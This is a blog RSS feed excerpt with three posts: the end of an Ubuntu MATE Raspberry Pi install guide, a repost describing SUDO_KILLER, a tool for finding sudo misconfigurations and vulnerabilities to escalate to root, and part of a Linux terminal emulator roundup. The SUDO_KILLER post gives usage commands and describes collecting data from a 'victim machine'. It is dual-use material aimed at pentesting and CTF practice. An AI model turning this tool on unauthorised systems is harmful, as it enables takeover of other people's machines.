<p>To do so, open the terminal and run the <strong><code>update</code> </strong>and <strong><code>upgrade</code> </strong>commands.</p>
<pre class="chroma"><code class="language-output" data-lang="output">sudo apt update
sudo apt upgrade</code></pre>
<p>If you prefer using Ubuntu’s Software Updater, you can check for updates using its GUI.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-91756 size-full lazyloaded" src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/ubuntu-updater.png" alt="Software updater in Ubuntu MATE" data-lazy-src="https://phoenixnap.com/kb/wp-content/uploads/2020/03/ubuntu-updater.png" data-was-processed="true" width="642" height="426"></p>
<p>Select what you want to install and click <strong>Install Now</strong>.</p>
<p>Your Raspberry Pi with Ubuntu MATE is now ready for use.</p>
</div>
<div class="heading-text el-text">
<h2 class="h3"><strong>Conclusion</strong></h2>
</div>
<div class="clear">&nbsp;</div>
<div class="uncode_text_column">
<p>This tutorial showed you <strong>how to install Ubuntu MATE on Raspberry Pi 2 and 3</strong>. If you followed the steps in this guide, you now know how to prepare an SD card for writing an image file.</p>
<p>You also learned how to use Etcher and the terminal to write Ubuntu MATE to an SD card. As a reminder, Ubuntu on Raspberry Pi 4 is not supported yet.</p>
</div>
<p>The post <a href="http://kostacipo.stream/how-to-install-ubuntu-mate-on-raspberry-pi-2-or-3/">How to Install Ubuntu Mate on Raspberry Pi 2 or 3</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/how-to-install-ubuntu-mate-on-raspberry-pi-2-or-3/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>SUDO_KILLER &#8211; A Tool To Identify And Exploit Sudo Rules&#8217; Misconfigurations And Vulnerabilities Within Sudo</title>
		<link>http://kostacipo.stream/sudo_killer-a-tool-to-identify-and-exploit-sudo-rules-misconfigurations-and-vulnerabilities-within-sudo/</link>
					<comments>http://kostacipo.stream/sudo_killer-a-tool-to-identify-and-exploit-sudo-rules-misconfigurations-and-vulnerabilities-within-sudo/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Wed, 26 Feb 2020 10:56:35 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">http://www.kostacipo.stream/?p=1764</guid>

					<description><![CDATA[<p>&#160; This post describes how to obtain Linux Privilege Escalation through SUDO abuse. The tool can be used by pentesters, system admins, CTF players, students, System Auditors and trolls :). INTRO**WARNING: SUDO_KILLER is part of the KILLER project. SUDO_KILLER is still under development and there might be some issues, please create an issue if you [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/sudo_killer-a-tool-to-identify-and-exploit-sudo-rules-misconfigurations-and-vulnerabilities-within-sudo/">SUDO_KILLER &#8211; A Tool To Identify And Exploit Sudo Rules&#8217; Misconfigurations And Vulnerabilities Within Sudo</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<p>This post describes how to obtain Linux Privilege Escalation through SUDO abuse.</p>
<p>The tool can be used by pentesters, system admins, CTF players, students, System Auditors and trolls :).<br /><a name="more"></a><br /><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (16)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-intro"></a> <br /><b>INTRO</b><br />**WARNING: SUDO_KILLER is part of the KILLER project. SUDO_KILLER is still under development and there might be some issues, please create an issue if you found any. **<br /><strong>Other tool will be added to the KILLER project in the coming months so stay tuned up. </strong></p>
<p><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (20)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-overview"></a> <br /><b>Overview</b><br /><em>SUDO_KILLER</em> is a tool that can be used for privilege escalation on linux environment by abusing SUDO in several ways. The tool helps to identify <a title="misconfiguration" href="https://www.kitploit.com/search/label/Misconfiguration" target="_blank" rel="noopener noreferrer">misconfiguration</a> within sudo rules, <a title="vulnerability" href="https://www.kitploit.com/search/label/Vulnerability" target="_blank" rel="noopener noreferrer">vulnerability</a> within the version of sudo being used (CVEs and vulns) and the use of dangerous binary, all of these could be abused to elevate privilege to ROOT.<br /><em>SUDO_KILLER</em> will then provide a list of commands or local exploits which could be exploited to elevate privilege. It is worth noting that the tool does not perform any exploitation on your behalf, the exploitation will need to be performed manually and this is intended.</p>
<p><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (24)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-features"></a> <br /><b>Features</b><br /><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (26)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-some-of-the-checks-functionalities-that-are-performed-by-the-tool"></a> <br /><b>Some of the checks/functionalities that are performed by the tool:</b></p>
<ul>
<li><strong>Misconfigurations</strong></li>
<li><strong>Dangerous Binaries</strong></li>
<li><strong>Vulnerable versions of sudo &#8211; CVEs</strong></li>
<li><strong>Dangerous Environment Variables</strong></li>
<li><strong>Credential Harvesting</strong></li>
<li><strong>Writable directories where scripts reside</strong></li>
<li><strong>Binaries that might be replaced</strong></li>
<li><strong>Identify missing scripts</strong></li>
</ul>
<p><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (27)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-what-version-2-of-sk-includes"></a> <br /><b>What version 2 of SK includes:</b></p>
<ul>
<li>New checks and/or scenarios:</li>
</ul>
<ol>
<li>CVE-2019-14287 &#8211; runas</li>
<li>No CVE yet &#8211; sudoedit &#8211; absolute path</li>
<li>CVE-2019-18634 &#8211; pwfeedback</li>
<li>User Impersonation</li>
<li>list of users in sudo group</li>
</ol>
<ul>
<li>Performance improved</li>
<li>Bugs corrected (checks, export, report,&#8230;)</li>
<li>Continous improvement of the way output presented</li>
<li>New videos will be added soon</li>
<li>Annonying password input several time removed</li>
<li>New functionality: offline mode &#8211; ability to extract the required info from audited system and run SK on host.</li>
<li>Testing environment : A docker to play with the tool and different scenarios, you can also train on PE.</li>
</ul>
<p><b>Usage</b><br /><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (30)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-example-online-mode"></a> <br /><b>Example Online mode</b></p>
<blockquote>
<div>
<pre><code>./sudo_killer.sh -c -e -r report.txt -p /tmp</code></pre>
</div>
</blockquote>
<p><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (31)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-example-offline-mode"></a> <b>Example Offline mode</b><br />Run extract.sh on system to be audited/victim machine. Copy the output from /tmp/sk_offline.txt on the system to be audited/victim machine to your host.</p>
<ul>
<li><strong>Note: Three checks are missing in the offline mode, still in dev&#8230; coming soon&#8230;</strong></li>
</ul>
<p>Run SK with the below parameter:</p>
<blockquote>
<div>
<pre><code>./sudo_killer.sh -c -i /path/sk_offline.txt</code></pre>
</div>
</blockquote>
<p><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (32)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-optional-arguments"></a> <b>Optional arguments</b></p>
<ul>
<li><strong>-c : include CVE checks with respect to sudo version</strong></li>
<li><strong>-i : import (offline mode) from extract.sh</strong></li>
<li><strong>-e : include export of sudo rules / sudoers file</strong></li>
<li><strong>-r : report name (save the output)</strong></li>
<li><strong>-p : path where to save export and report</strong></li>
<li><strong>-s : supply user password for sudo checks (not recommended ++except for CTF)</strong></li>
<li><strong>-h : help</strong></li>
</ul>
<p><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (33)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-cves-check"></a> <br /><b>CVEs check</b><br />To update the CVE database : run the following script ./cve_update.sh</p>
<p><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (34)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-providing-password-important"></a> <b>Providing password (<strong>Important</strong>)</b><br />If you need to input a password to run sudo -l then the script will not work if you don&#8217;t provide a password with the argument -s.</p>
<p><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (35)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-how-to-run-sk-on-the-targetted-audited-machine"></a> <b>How to run SK on the targetted/audited machine</b><br /><strong>If you are on a machine that has internet connection, just git clone the tool and run it. If you are on a machine that does not have internet, then git clone on your host, compress the tool (tar) then transfert the compressed file via http/smb (apache web server / python simplehttpserver / smb server / nc) then uncompressed the file on the targeted system and enjoy!</strong><br /><strong><br /></strong> <a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (36)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-notes"></a> <b>Notes</b><br />**NOTE : sudo_killer does not exploit automatically by itself, it was designed like this on purpose but check for misconguration and vulnerabilities and then propose you the following (if you are lucky the route to root is near!) :</p>
<ul>
<li><strong>a list of commands to exploit</strong></li>
<li><strong>a list of exploits</strong></li>
<li><strong>some description on how and why the attack could be performed</strong></li>
</ul>
<div><b>&nbsp;</b></div>
<p><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (39)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-why-is-it-possible-to-run-sudo-l-without-a-password"></a> <b>Why is it possible to run &#8220;sudo -l&#8221; without a password?</b><br />By default, if the NOPASSWD tag is applied to any of the entries for a user on a host, he or she will be able to run &#8220;sudo -l&#8221; without a password. This behavior may be overridden via the verifypw and listpw options.<br />However, these rules only affect the current user, so if user impersonation is possible (using su) sudo -l should be launched from this user as well.<br />Sometimes the file /etc/sudoers can be read even if sudo -l is not accessible without password.</p>
<p><a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (41)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-docker-vulnerable-testing-environment"></a> <b>Docker &#8211; Vulnerable testing environment</b><br />**IMPORTANT: The recommended way to test the tool is to use the docker image created on purpose for the testing. The image contained several vulnerabilities and misconfigurations related to the usage of SUDO.<br />Everything is tested from the Docker container available on Docker Hub !**</p>
<p>A Docker image is available on Docker Hub and automatically re-built at each update: <a title="https://hub.docker.com/r/th3xace/sudo_killer_demo" href="https://hub.docker.com/r/th3xace/sudo_killer_demo" target="_blank" rel="nofollow noopener noreferrer">https://hub.docker.com/r/th3xace/sudo_killer_demo</a> . It is initially based on official debian:jessie Docker image (debian:jessie).</p>
<ol>
<li><strong>Pull SUDO_KILLER_DEMO Docker Image from the docker hub (This version maybe a bit more up-to-date):</strong><br />
<blockquote>
<div>
<pre><code>service docker start
docker pull th3xace/sudo_killer_demo
docker run --rm -it th3xace/sudo_killer_demo</code></pre>
</div>
</blockquote>
</li>
<li><strong>Build locally from Dockerfile :</strong><br />
<blockquote>
<div>
<pre><code>service docker start
git clone https://github.com/TH3xACE/SUDO_KILLER.git
cd SUDO_KILLER
docker build -t th3xace/sudo_killer_demo .
docker run --rm -it th3xace/sudo_killer_demo</code></pre>
</div>
</blockquote>
</li>
</ol>
<p><strong>Note: It is important to note that the docker is just an environment that can be used to play with the tool since it contains several vulns to exploit. The tool is meant to be used on its own.</strong><br /><strong><br /></strong> <a title="A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo (47)" href="https://draft.blogger.com/null" target="_blank" rel="noopener noreferrer" name="user-content-demos"></a> <b>Demos</b><br />Several videos are provided below with different scenarios of exploitation.</p>
<div><iframe loading="lazy" src="https://www.youtube.com/embed/videoseries?list=PLQPKPAuCA40FMpMKWZLxQydLe7rPL5bml" allowfullscreen="allowfullscreen" data-mce-fragment="1" width="560" height="315" frameborder="0"></iframe></div>
<p><b>Disclaimer</b><br />This script is for Educational purpose ONLY. Do not use it without permission. We are not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of the script is not our responsibility.</p>
<p><b><a class="kiploit-download" title="Download SUDO_KILLER" href="https://github.com/TH3xACE/SUDO_KILLER" target="_blank" rel="nofollow noopener noreferrer">Download SUDO_KILLER</a></b></p>
<p>The post <a href="http://kostacipo.stream/sudo_killer-a-tool-to-identify-and-exploit-sudo-rules-misconfigurations-and-vulnerabilities-within-sudo/">SUDO_KILLER &#8211; A Tool To Identify And Exploit Sudo Rules&#8217; Misconfigurations And Vulnerabilities Within Sudo</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/sudo_killer-a-tool-to-identify-and-exploit-sudo-rules-misconfigurations-and-vulnerabilities-within-sudo/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>10 Best Linux Terminal Emulators [2020 Edition]</title>
		<link>http://kostacipo.stream/10-best-linux-terminal-emulators-2020-edition/</link>
					<comments>http://kostacipo.stream/10-best-linux-terminal-emulators-2020-edition/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Thu, 20 Feb 2020 11:01:34 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[terminals]]></category>
		<guid isPermaLink="false">http://www.kostacipo.stream/?p=1749</guid>

					<description><![CDATA[<p>&#160; Do you prefer terminal emulators over GUI? But there are times when the terminal’s decent styling seems boring. In such cases, you look for more options to customize the terminal just like we do while choosing Linux distros. If that’s the case, your wait is over as we bring the list of best terminal [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/10-best-linux-terminal-emulators-2020-edition/">10 Best Linux Terminal Emulators [2020 Edition]</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<div class="td-post-content td-pb-padding-side">
<p><span class="dropcap dropcap3">D</span>o you prefer terminal emulators over GUI? But there are times when the terminal’s decent styling seems boring. In such cases, you look for more options to customize the terminal just like we do while choosing Linux distros.</p>
<p>If that’s the case, your wait is over as we bring the list of best terminal emulators for Linux that you can use to refresh your monotonous daily work. Along with the styling, you can also turn the single terminal into a multigrid, observing the activity of each terminal simultaneously.</p>
<p>Before you hop on the list, if you’re not familiar with a terminal emulator, let’s first understand what the terminal emulator is.</p>
<h2>What is A Terminal Emulator?</h2>
<p>A terminal emulator is a software similar to other GUIs applications with functionality to enable communication with your host computer. Let’s not confuse between the Terminal and Terminal Emulator. Terminal represents a piece of hardware, i.e., keyboard/monitor, while the Terminal emulator mimics a terminal through which a user gives a command to perform an action.</p>
<p>Terminal Emulator is a GUI application program that allows windows to take input and display output to the user in text format. Multiple terminal window programs can be included in the system.</p>
<p>Moving forward, let’s look at the best terminal emulators available. We’ve compiled the list based on various parameters such as color support, fonts, customization, lightweight, etc.</p>
<h2>Top 10 Linux Terminal Emulators</h2>
<h3>1. Terminator</h3>
<p>Terminator is the first non-default Linux terminal emulator that I tried and am still relying upon it. Terminator first introduced&nbsp;me to the better arrangement of terminals in a grid-like structure.</p>
<figure id="attachment_155375" class="wp-caption aligncenter" aria-describedby="caption-attachment-155375"><img loading="lazy" decoding="async" src="https://fossbytes.com/wp-content/uploads/2020/02/Terminator-grid-structure.png" data-srcset="https://fossbytes.com/wp-content/uploads/2020/02/Terminator-grid-structure.png 800w, https://fossbytes.com/wp-content/uploads/2020/02/Terminator-grid-structure-300x225.png 300w, https://fossbytes.com/wp-content/uploads/2020/02/Terminator-grid-structure-768x576.png 768w, https://fossbytes.com/wp-content/uploads/2020/02/Terminator-grid-structure-560x420.png 560w, https://fossbytes.com/wp-content/uploads/2020/02/Terminator-grid-structure-80x60.png 80w, https://fossbytes.com/wp-content/uploads/2020/02/Terminator-grid-structure-100x75.png 100w, https://fossbytes.com/wp-content/uploads/2020/02/Terminator-grid-structure-180x135.png 180w, https://fossbytes.com/wp-content/uploads/2020/02/Terminator-grid-structure-238x178.png 238w, https://fossbytes.com/wp-content/uploads/2020/02/Terminator-grid-structure-640x480.png 640w, https://fossbytes.com/wp-content/uploads/2020/02/Terminator-grid-structure-681x511.png 681w" data-sizes="(max-width: 800px) 100vw, 800px" width="800" height="600"><figcaption id="caption-attachment-155375" class="wp-caption-text">Terminator: Grid structure</figcaption></figure>
<p>The best part that I like about terminator is that it lets you open multiple terminals either in vertical or horizontal mode and monitor the activity of each terminal at the same time.</p>
<h4>Key highlighting features of Terminator:</h4>
<ul>
<li>Multigrid-like structure</li>
<li>Save multiple layouts and profiles</li>
<li>Terminal reordering using drag and drop</li>
<li>Third-party plugins</li>
</ul>
<p>The default and classic emulator always restrict&nbsp;you to single screen monitoring; however, you can open a new tab or new terminal. But multiple terminals in a separate window give more control and comfort.</p>
<p>Terminator is inspired by gnome-multi-term and much of the behavior is&nbsp;borrowed from GNOME terminal. Moreover, you can also number the terminal and create a group of the terminal.</p>
<h4>How to install?</h4>
<p>You can run the command below to install the Terminator.</p>
<pre>sudo apt install terminator</pre>
<div class="su-note">
<div class="su-note-inner su-clearfix">
<p><em><strong>Note:</strong> All the given commands are based on Debian-based Linux distros. You can replace the command with your running distros package manager. This applies to all the installation instructions mentioned ahead in this article.</em></p>
</div>
</div>
<p>If you find any error like “unable to locate package”, then you need to add terminator PPA into your package manager repository by running the command:</p>
<pre>sudo add-apt-repository ppa:gnome-terminator</pre>
<h3>2.&nbsp; Terminology</h3>
<p>The name may look similar to terminator but terminology stands way apart from the Terminator. Terminology uses the elementary toolkit to give cutting edge design to the terminal user interface.</p>
<figure id="attachment_155378" class="wp-caption aligncenter" aria-describedby="caption-attachment-155378"><img loading="lazy" decoding="async" src="https://fossbytes.com/wp-content/uploads/2020/02/Terminology.png" data-srcset="https://fossbytes.com/wp-content/uploads/2020/02/Terminology.png 800w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-300x225.png 300w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-768x576.png 768w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-560x420.png 560w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-80x60.png 80w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-100x75.png 100w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-180x135.png 180w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-238x178.png 238w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-640x480.png 640w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-681x511.png 681w" data-sizes="(max-width: 800px) 100vw, 800px" width="800" height="600"><figcaption id="caption-attachment-155378" class="wp-caption-text">Terminology</figcaption></figure>
<h4>Key highlighting features of terminology:</h4>
<ul>
<li>Understand the full file path, URL links, and email address</li>
<li>Local file display</li>
<li>Configuration panel</li>
<li>Display progress bar for downloads</li>
</ul>
<p>Terminology is the most stylish and powerful emulator that also offers various pre-installed themes and wallpaper.</p>
<figure id="attachment_155379" class="wp-caption aligncenter" aria-describedby="caption-attachment-155379"><img loading="lazy" decoding="async" src="https://fossbytes.com/wp-content/uploads/2020/02/Terminology-themes.png" data-srcset="https://fossbytes.com/wp-content/uploads/2020/02/Terminology-themes.png 800w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-themes-300x225.png 300w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-themes-768x576.png 768w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-themes-560x420.png 560w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-themes-80x60.png 80w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-themes-100x75.png 100w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-themes-180x135.png 180w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-themes-238x178.png 238w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-themes-640x480.png 640w, https://fossbytes.com/wp-content/uploads/2020/02/Terminology-themes-681x511.png 681w" data-sizes="(max-width: 800px) 100vw, 800px" width="800" height="600"><figcaption id="caption-attachment-155379" class="wp-caption-text">Terminology themes</figcaption></figure>
<p>Using Enlightenment Foundation Libraries (EFL), Terminology works in X11 and Wayland windowing system and allows the video engine to run inside the terminal.</p>
<p>Another feature that will excite you is the lighting effect from the corner side while pressing the backspace keypad and glittering rectangular cursor.</p>
<p>To add more comfortability, Terminology also layouts the control panel with buttons to open and modify the behavior of the terminal.</p>
<h4>How to install?</h4>
<p>For quick installation of Terminology, you can run the command:</p>
<pre>sudo apt install terminology</pre>
<p>If you find any error, you can check out the list of dependencies from <a href="https://www.enlightenment.org/download" target="_blank" rel="nofollow noopener noreferrer external">here</a> that you need to install.</p>
<h3>3. Cool Retro Term</h3>
<p>If you’re a 90s’ kid and want to dig into your past where you had big back tv with flickering cathode screen, you would definitely love the cool retro term Linux emulator.</p>
<p>The cool retro term is mainly focused on simulating the style of the 90s cathode ray screen with a color variant. The visual look is seamlessly attractive with an outwardly raised concave screen.</p>
<figure id="attachment_155390" class="wp-caption aligncenter" aria-describedby="caption-attachment-155390"><img loading="lazy" decoding="async" src="https://fossbytes.com/wp-content/uploads/2020/02/Cool-retro-term.png" data-srcset="https://fossbytes.com/wp-content/uploads/2020/02/Cool-retro-term.png 800w, https://fossbytes.com/wp-content/uploads/2020/02/Cool-retro-term-300x225.png 300w, https://fossbytes.com/wp-content/uploads/2020/02/Cool-retro-term-768x576.png 768w, https://fossbytes.com/wp-content/uploads/2020/02/Cool-retro-term-560x420.png 560w, https://fossbytes.com/wp-content/uploads/2020/02/Cool-retro-term-80x60.png 80w, https://fossbytes.com/wp-content/uploads/2020/02/Cool-retro-term-100x75.png 100w, https://fossbytes.com/wp-content/uploads/2020/02/Cool-retro-term-180x135.png 180w, https://fossbytes.com/wp-content/uploads/2020/02/Cool-retro-term-238x178.png 238w, https://fossbytes.com/wp-content/uploads/2020/02/Cool-retro-term-640x480.png 640w, https://fossbytes.com/wp-content/uploads/2020/02/Cool-retro-term-681x511.png 681w" data-sizes="(max-width: 800px) 100vw, 800px" width="800" height="600"><figcaption id="caption-attachment-155390" class="wp-caption-text">Cool retro term</figcaption></figure>
<h4>Key highlighting features of Cool Retro Term:</h4>
<ul>
<li>Old Cathode display</li>
<li>Customizable, and reasonably lightweight</li>
<li>Vintage visual settings</li>
</ul>
<p>The typing cursor also ignites with yellow flash during typing commands, and the flickering line runs from top to bottom.</p>
<p>The cool retro term comes in various visual settings such as Default Amber, IBM DOS, Monochrome Green, Vintage, and Futuristic. It uses the QTermWidget terminal widget that also powers the ubuntu-terminal-app.</p>
<p>The cool retro term is also available for macOS. You can download it from <a href="https://github.com/Swordfish90/cool-retro-term" target="_blank" rel="nofollow noopener noreferrer external">here</a> and follow the instructions as given for each Linux distro.</p>
<h4>How to install?</h4>
<p>For quick installation of cool retro term, you can run the command:</p>
<pre>sudo apt install cool-retro-term</pre>
<p>If you find errors like “Unable to locate the package,” you can get the package or AppImage of cool-retro-term from <a href="https://github.com/Swordfish90/cool-retro-term" target="_blank" rel="nofollow noopener noreferrer external">here</a>.</p>
<h3>4. KDE – Konsole</h3>
<p>Konsole is the default terminal emulator for the KDE desktop environment. Hence, it uses KDE Framework, QT library, and xcb windowing system.</p>
<figure id="attachment_155400" class="wp-caption aligncenter" aria-describedby="caption-attachment-155400"><img loading="lazy" decoding="async" src="https://fossbytes.com/wp-content/uploads/2020/02/Konsole.png" data-srcset="https://fossbytes.com/wp-content/uploads/2020/02/Konsole.png 800w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-300x225.png 300w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-768x576.png 768w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-560x420.png 560w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-80x60.png 80w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-100x75.png 100w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-180x135.png 180w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-238x178.png 238w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-640x480.png 640w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-681x511.png 681w" data-sizes="(max-width: 800px) 100vw, 800px" width="800" height="600"><figcaption id="caption-attachment-155400" class="wp-caption-text">Konsole</figcaption></figure>
<h4>Key highlighting features of Konsole:</h4>
<ul>
<li>Multi-language</li>
<li>Bookmark Tab</li>
<li>Multiple profiles with its own configuration</li>
<li>Multi-tab for each window</li>
</ul>
<p>The unique feature that Konsole offers is the native languages. If you love your local language, you can switch to your own choice of primary language such as Hindi, Punjabi, Arabic, Russian, etc. Konsole also provides the facility for default fallback language.</p>
<figure id="attachment_155404" class="wp-caption aligncenter" aria-describedby="caption-attachment-155404"><img loading="lazy" decoding="async" src="https://fossbytes.com/wp-content/uploads/2020/02/Konsole-change-application-language.png" data-srcset="https://fossbytes.com/wp-content/uploads/2020/02/Konsole-change-application-language.png 800w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-change-application-language-300x225.png 300w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-change-application-language-768x576.png 768w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-change-application-language-560x420.png 560w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-change-application-language-80x60.png 80w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-change-application-language-100x75.png 100w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-change-application-language-180x135.png 180w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-change-application-language-238x178.png 238w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-change-application-language-640x480.png 640w, https://fossbytes.com/wp-content/uploads/2020/02/Konsole-change-application-language-681x511.png 681w" data-sizes="(max-width: 800px) 100vw, 800px" width="800" height="600"><figcaption id="caption-attachment-155404" class="wp-caption-text">Konsole: Change application language</figcaption></figure>
<p>If you want to save your current location path, you can also bookmark the tab and store it in the folder.</p>
<p>But if you want to open multiple terminals to form grid structure, you may find it hard as KDE lacks to split view in left/right or top/bottom simultaneously. However, you can open multiple tabs in each window terminal.</p>
<h4>How to install?</h4>
<p>For a quick installation of Konsole, you can run the command:</p>
<pre>sudo apt install konsole</pre>
<h3>5. Tilix</h3>
<p>Tilix has one of the best default stylings, which may look similar to GNOME. But Tilix is way better with the menu button available to open terminal right or down to form the grid structure.</p>
<figure id="attachment_155407" class="wp-caption aligncenter" aria-describedby="caption-attachment-155407"><img loading="lazy" decoding="async" src="https://fossbytes.com/wp-content/uploads/2020/02/Tilix.png" data-srcset="https://fossbytes.com/wp-content/uploads/2020/02/Tilix.png 800w, https://fossbytes.com/wp-content/uploads/2020/02/Tilix-300x225.png 300w, https://fossbytes.com/wp-content/uploads/2020/02/Tilix-768x576.png 768w, https://fossbytes.com/wp-content/uploads/2020/02/Tilix-560x420.png 560w, https://fossbytes.com/wp-content/uploads/2020/02/Tilix-80x60.png 80w, https://fossbytes.com/wp-content/uploads/2020/02/Tilix-100x75.png 100w, https://fossbytes.com/wp-content/uploads/2020/02/Tilix-180x135.png 180w, https://fossbytes.com/wp-content/uploads/2020/02/Tilix-238x178.png 238w, https://fossbytes.com/wp-content/uploads/2020/02/Tilix-640x480.png 640w, https://fossbytes.com/wp-content/uploads/2020/02/Tilix-681x511.png 681w" data-sizes="(max-width: 800px) 100vw, 800px" width="800" height="600"><figcaption id="caption-attachment-155407" class="wp-caption-text">Tilix</figcaption></figure>
<h4>Key highlighting features of Tilix:</h4>
<ul>
<li>Multi-session creation</li>
<li>Custome titles</li>
<li>Background image</li>
<li>Process completion notification</li>
</ul>
<p>Tilix allows creating a single or group of a session window with each having its own configurations. You can also save the current session and load from the system.</p>
<p>You can also create multiple panels by splitting the terminal vertically or horizontally.</p>
<h4>How to install?</h4>
<p>For quick installation of Tilix, you can run the command:</p>
<pre>sudo apt install tilix</pre>
<p>Tilix is mostly available in every Linux distros repository. But if you find any difficulty, you can check out the instructions given <a href="https://gnunn1.github.io/tilix-web/#packages" target="_blank" rel="nofollow noopener noreferrer external">here</a>.</p>
<h3>6.&nbsp; Guake</h3>
<p>I find Guake very amazing as it allows me to run the instant command without hiding my current application window. Guake is one of the best drop-down Linux terminal emulators for the GNOME desktop environment.</p>
